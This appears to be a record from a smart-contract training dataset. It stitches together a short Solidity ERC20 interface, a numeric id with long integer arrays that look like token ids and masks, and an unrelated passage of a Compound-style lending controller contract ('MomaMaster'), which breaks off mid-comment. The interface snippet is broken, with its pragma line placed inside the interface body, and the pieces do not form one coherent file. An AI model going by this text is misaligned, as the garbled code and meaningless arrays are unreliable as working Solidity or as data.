./full_match/4/0x2DE40e251457758eA9EeAb3c8135d531D31CBbAb/sources/token.sol
* @dev Interface of the ERC20 standard as defined in the EIP./
interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); pragma solidity =0.6.0 <0.6.6; }
671,893
[ 1, 1358, 434, 326, 4232, 39, 3462, 4529, 487, 2553, 316, 326, 512, 2579, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 654, 39, 3462, 288, 203, 565, 445, 2078, 3088, 1283, 1435, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 11013, 951, 12, 2867, 2236, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 7412, 12, 2867, 8027, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 1699, 1359, 12, 2867, 3410, 16, 1758, 17571, 264, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 203, 203, 565, 445, 6617, 537, 12, 2867, 17571, 264, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 445, 7412, 1265, 12, 2867, 5793, 16, 1758, 8027, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 6430, 1769, 203, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 5034, 460, 1769, 203, 203, 565, 871, 1716, 685, 1125, 12, 2867, 8808, 3410, 16, 1758, 8808, 17571, 264, 16, 2254, 5034, 460, 1769, 203, 203, 203, 683, 9454, 18035, 560, 273, 20, 18, 26, 18, 20, 411, 20, 18, 26, 18, 26, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.17; import "./MToken.sol"; import "./ErrorReporter.sol"; import "./PriceOracle.sol"; import "./MomaMasterInterface.sol"; import "./MomaMasterStorage.sol"; import "./MomaPool.sol"; /** * @title Moma's MomaMaster Contract * @author Moma */ contract MomaMaster is MomaMasterInterface, MomaMasterV1Storage, MomaMasterErrorReporter, ExponentialNoError { /// @notice Emitted when an admin supports a market event MarketListed(MToken mToken); /// @notice Emitted when an account enters a market event MarketEntered(MToken mToken, address account); /// @notice Emitted when an account exits a market event MarketExited(MToken mToken, address account); /// @notice Emitted when close factor is changed by admin event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /// @notice Emitted when a collateral factor is changed by admin event NewCollateralFactor(MToken mToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /// @notice Emitted when liquidation incentive is changed by admin event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /// @notice Emitted when price oracle is changed event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /// @notice Emitted when pause guardian is changed event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /// @notice Emitted when an action is paused globally event ActionPaused(string action, bool pauseState); /// @notice Emitted when an action is paused on a market event ActionPaused(MToken mToken, string action, bool pauseState); /// @notice Emitted when borrow cap for a mToken is changed event NewBorrowCap(MToken indexed mToken, uint newBorrowCap); /// @notice Emitted when a new token speed is updated for a market event TokenSpeedUpdated(address indexed token, MToken indexed mToken, uint oldSpeed, uint newSpeed); /// @notice Emitted when token is distributed to a supplier event DistributedSupplierToken(address indexed token, MToken indexed mToken, address indexed supplier, uint tokenDelta, uint tokenSupplyIndex); /// @notice Emitted when token is distributed to a borrower event DistributedBorrowerToken(address indexed token, MToken indexed mToken, address indexed borrower, uint tokenDelta, uint tokenBorrowIndex); /// @notice Emitted when token is claimed by user event TokenClaimed(address indexed token, address indexed user, uint accrued, uint claimed, uint notClaimed); /// @notice Emitted when token farm is updated by admin event TokenFarmUpdated(EIP20Interface token, uint oldStart, uint oldEnd, uint newStart, uint newEnd); /// @notice Emitted when a new token market is added to momaMarkets event NewTokenMarket(address indexed token, MToken indexed mToken); /// @notice Emitted when token is granted by admin event TokenGranted(address token, address recipient, uint amount); /// @notice Indicator that this is a MomaMaster contract (for inspection) bool public constant isMomaMaster = true; /// @notice The initial moma index for a market uint224 public constant momaInitialIndex = 1e36; // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (MToken[] memory) { MToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param mToken The mToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, MToken mToken) external view returns (bool) { return markets[address(mToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param mTokens The list of addresses of the mToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory mTokens) public returns (uint[] memory) { uint len = mTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { MToken mToken = MToken(mTokens[i]); results[i] = uint(addToMarketInternal(mToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param mToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(MToken mToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(mToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (oracle.getUnderlyingPrice(mToken) == 0) { // not have price return Error.PRICE_ERROR; } if (marketToJoin.accountMembership[borrower]) { // already joined return Error.NO_ERROR; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(mToken); emit MarketEntered(mToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing necessary collateral for an outstanding borrow. * @param mTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address mTokenAddress) external returns (uint) { MToken mToken = MToken(mTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the mToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = mToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(mTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(mToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set mToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete mToken from the account’s list of assets */ // load into memory for faster iteration MToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == mToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 MToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.length--; emit MarketExited(mToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param mToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address mToken, address minter, uint mintAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[mToken], "mint is paused"); // Shh - currently unused minter; mintAmount; if (!markets[mToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving updateFarmSupplyIndex(mToken); distributeSupplierFarm(mToken, minter); return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param mToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address mToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused mToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param mToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of mTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address mToken, address redeemer, uint redeemTokens) external returns (uint) { uint allowed = redeemAllowedInternal(mToken, redeemer, redeemTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateFarmSupplyIndex(mToken); distributeSupplierFarm(mToken, redeemer); return uint(Error.NO_ERROR); } function redeemAllowedInternal(address mToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[mToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[mToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, MToken(mToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param mToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address mToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused mToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param mToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address mToken, address borrower, uint borrowAmount) external returns (uint) { require(isLendingPool, "this is not lending pool"); // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[mToken], "borrow is paused"); if (!markets[mToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (!markets[mToken].accountMembership[borrower]) { // only mTokens may call borrowAllowed if borrower not in market require(msg.sender == mToken, "sender must be mToken"); // attempt to add borrower to the market Error err = addToMarketInternal(MToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[mToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(MToken(mToken)) == 0) { return uint(Error.PRICE_ERROR); } uint borrowCap = borrowCaps[mToken]; // Borrow cap of 0 corresponds to unlimited borrowing if (borrowCap != 0) { uint totalBorrows = MToken(mToken).totalBorrows(); uint nextTotalBorrows = add_(totalBorrows, borrowAmount); require(nextTotalBorrows < borrowCap, "market borrow cap reached"); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, MToken(mToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } // Keep the flywheel moving uint borrowIndex = MToken(mToken).borrowIndex(); updateFarmBorrowIndex(mToken, borrowIndex); distributeBorrowerFarm(mToken, borrower, borrowIndex); return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param mToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address mToken, address borrower, uint borrowAmount) external { // Shh - currently unused mToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param mToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address mToken, address payer, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused payer; borrower; repayAmount; require(isLendingPool, "this is not lending pool"); if (!markets[mToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // Keep the flywheel moving uint borrowIndex = MToken(mToken).borrowIndex(); updateFarmBorrowIndex(mToken, borrowIndex); distributeBorrowerFarm(mToken, borrower, borrowIndex); return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param mToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address mToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused mToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param mTokenBorrowed Asset which was borrowed by the borrower * @param mTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address mTokenBorrowed, address mTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused liquidator; require(isLendingPool, "this is not lending pool"); if (!markets[mTokenBorrowed].isListed || !markets[mTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = MToken(mTokenBorrowed).borrowBalanceStored(borrower); uint maxClose = mul_ScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param mTokenBorrowed Asset which was borrowed by the borrower * @param mTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address mTokenBorrowed, address mTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused mTokenBorrowed; mTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param mTokenCollateral Asset which was used as collateral and will be seized * @param mTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address mTokenCollateral, address mTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); require(isLendingPool, "this is not lending pool"); // Shh - currently unused seizeTokens; if (!markets[mTokenCollateral].isListed || !markets[mTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (MToken(mTokenCollateral).momaMaster() != MToken(mTokenBorrowed).momaMaster()) { return uint(Error.MOMAMASTER_MISMATCH); } // Keep the flywheel moving updateFarmSupplyIndex(mTokenCollateral); distributeSupplierFarm(mTokenCollateral, borrower); distributeSupplierFarm(mTokenCollateral, liquidator); return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param mTokenCollateral Asset which was used as collateral and will be seized * @param mTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address mTokenCollateral, address mTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused mTokenCollateral; mTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param mToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of mTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address mToken, address src, address dst, uint transferTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens uint allowed = redeemAllowedInternal(mToken, src, transferTokens); if (allowed != uint(Error.NO_ERROR)) { return allowed; } // Keep the flywheel moving updateFarmSupplyIndex(mToken); distributeSupplierFarm(mToken, src); distributeSupplierFarm(mToken, dst); return uint(Error.NO_ERROR); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param mToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of mTokens to transfer */ function transferVerify(address mToken, address src, address dst, uint transferTokens) external { // Shh - currently unused mToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `mTokenBalance` is the number of mTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint mTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToDenom; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, MToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, MToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param mTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address mTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, MToken(mTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param mTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral mToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, MToken mTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { AccountLiquidityLocalVars memory vars; // Holds all our calculation results uint oErr; // For each asset the account is in MToken[] memory assets = accountAssets[account]; for (uint i = 0; i < assets.length; i++) { MToken asset = assets[i]; // Read the balances and exchange rate from the mToken (oErr, vars.mTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account); if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades return (Error.SNAPSHOT_ERROR, 0, 0); } vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa}); vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa}); // Get the normalized price of the asset vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset); if (vars.oraclePriceMantissa == 0) { return (Error.PRICE_ERROR, 0, 0); } vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa}); // Pre-compute a conversion factor from tokens -> ether (normalized price value) vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice); // sumCollateral += tokensToDenom * mTokenBalance vars.sumCollateral = mul_ScalarTruncateAddUInt(vars.tokensToDenom, vars.mTokenBalance, vars.sumCollateral); // sumBorrowPlusEffects += oraclePrice * borrowBalance vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects); // Calculate effects of interacting with mTokenModify if (asset == mTokenModify) { // redeem effect // sumBorrowPlusEffects += tokensToDenom * redeemTokens vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects); // borrow effect // sumBorrowPlusEffects += oraclePrice * borrowAmount vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects); } } // These are safe, as the underflow condition is checked first if (vars.sumCollateral > vars.sumBorrowPlusEffects) { return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0); } else { return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral); } } /** * @notice Calculate number of tokens of collateral asset to seize given an underlying amount * @dev Used in liquidation (called in mToken.liquidateBorrowFresh) * @param mTokenBorrowed The address of the borrowed mToken * @param mTokenCollateral The address of the collateral mToken * @param actualRepayAmount The amount of mTokenBorrowed underlying to convert into mTokenCollateral tokens * @return (errorCode, number of mTokenCollateral tokens to be seized in a liquidation) */ function liquidateCalculateSeizeTokens(address mTokenBorrowed, address mTokenCollateral, uint actualRepayAmount) external view returns (uint, uint) { /* Read oracle prices for borrowed and collateral markets */ uint priceBorrowedMantissa = oracle.getUnderlyingPrice(MToken(mTokenBorrowed)); uint priceCollateralMantissa = oracle.getUnderlyingPrice(MToken(mTokenCollateral)); if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) { return (uint(Error.PRICE_ERROR), 0); } /* * Get the exchange rate and calculate the number of collateral tokens to seize: * seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral * seizeTokens = seizeAmount / exchangeRate * = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate) */ uint exchangeRateMantissa = MToken(mTokenCollateral).exchangeRateStored(); // Note: reverts on error uint seizeTokens; Exp memory numerator; Exp memory denominator; Exp memory ratio; numerator = mul_(Exp({mantissa: liquidationIncentiveMantissa}), Exp({mantissa: priceBorrowedMantissa})); denominator = mul_(Exp({mantissa: priceCollateralMantissa}), Exp({mantissa: exchangeRateMantissa})); ratio = div_(numerator, denominator); seizeTokens = mul_ScalarTruncate(ratio, actualRepayAmount); return (uint(Error.NO_ERROR), seizeTokens); } /*** Admin Functions ***/ /** * @notice Sets a new price oracle for the MomaMaster * @dev Admin function to set a new price oracle * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _updatePriceOracle() public returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK); } // Read the new oracle from factory address newOracle = MomaFactoryInterface(factory).oracle(); // Check newOracle require(newOracle != address(0), "factory not set oracle"); // Track the old oracle for the MomaMaster PriceOracle oldOracle = oracle; // Set MomaMaster's oracle to newOracle oracle = PriceOracle(newOracle); // Emit NewPriceOracle(oldOracle, newOracle) emit NewPriceOracle(oldOracle, PriceOracle(newOracle)); return uint(Error.NO_ERROR); } /** * @notice Sets the closeFactor used when liquidating borrows * @dev Admin function to set closeFactor * @param newCloseFactorMantissa New close factor, scaled by 1e18 * @return uint 0=success, otherwise a failure */ function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) { // Check caller is admin require(msg.sender == admin, "only admin can set close factor"); require(newCloseFactorMantissa >= closeFactorMinMantissa, "close factor too small"); require(newCloseFactorMantissa <= closeFactorMaxMantissa, "close factor too large"); uint oldCloseFactorMantissa = closeFactorMantissa; closeFactorMantissa = newCloseFactorMantissa; emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets the collateralFactor for a market * @dev Admin function to set per-market collateralFactor * @param mToken The market to set the factor on * @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setCollateralFactor(MToken mToken, uint newCollateralFactorMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK); } // Verify market is listed Market storage market = markets[address(mToken)]; if (!market.isListed) { return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS); } Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa}); // Check collateral factor <= 0.9 Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa}); if (lessThanExp(highLimit, newCollateralFactorExp)) { return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION); } // If collateral factor != 0, fail if price == 0 if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(mToken) == 0) { return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE); } // Set market's collateral factor to new collateral factor, remember old value uint oldCollateralFactorMantissa = market.collateralFactorMantissa; market.collateralFactorMantissa = newCollateralFactorMantissa; // Emit event with asset, old collateral factor, and new collateral factor emit NewCollateralFactor(mToken, oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a 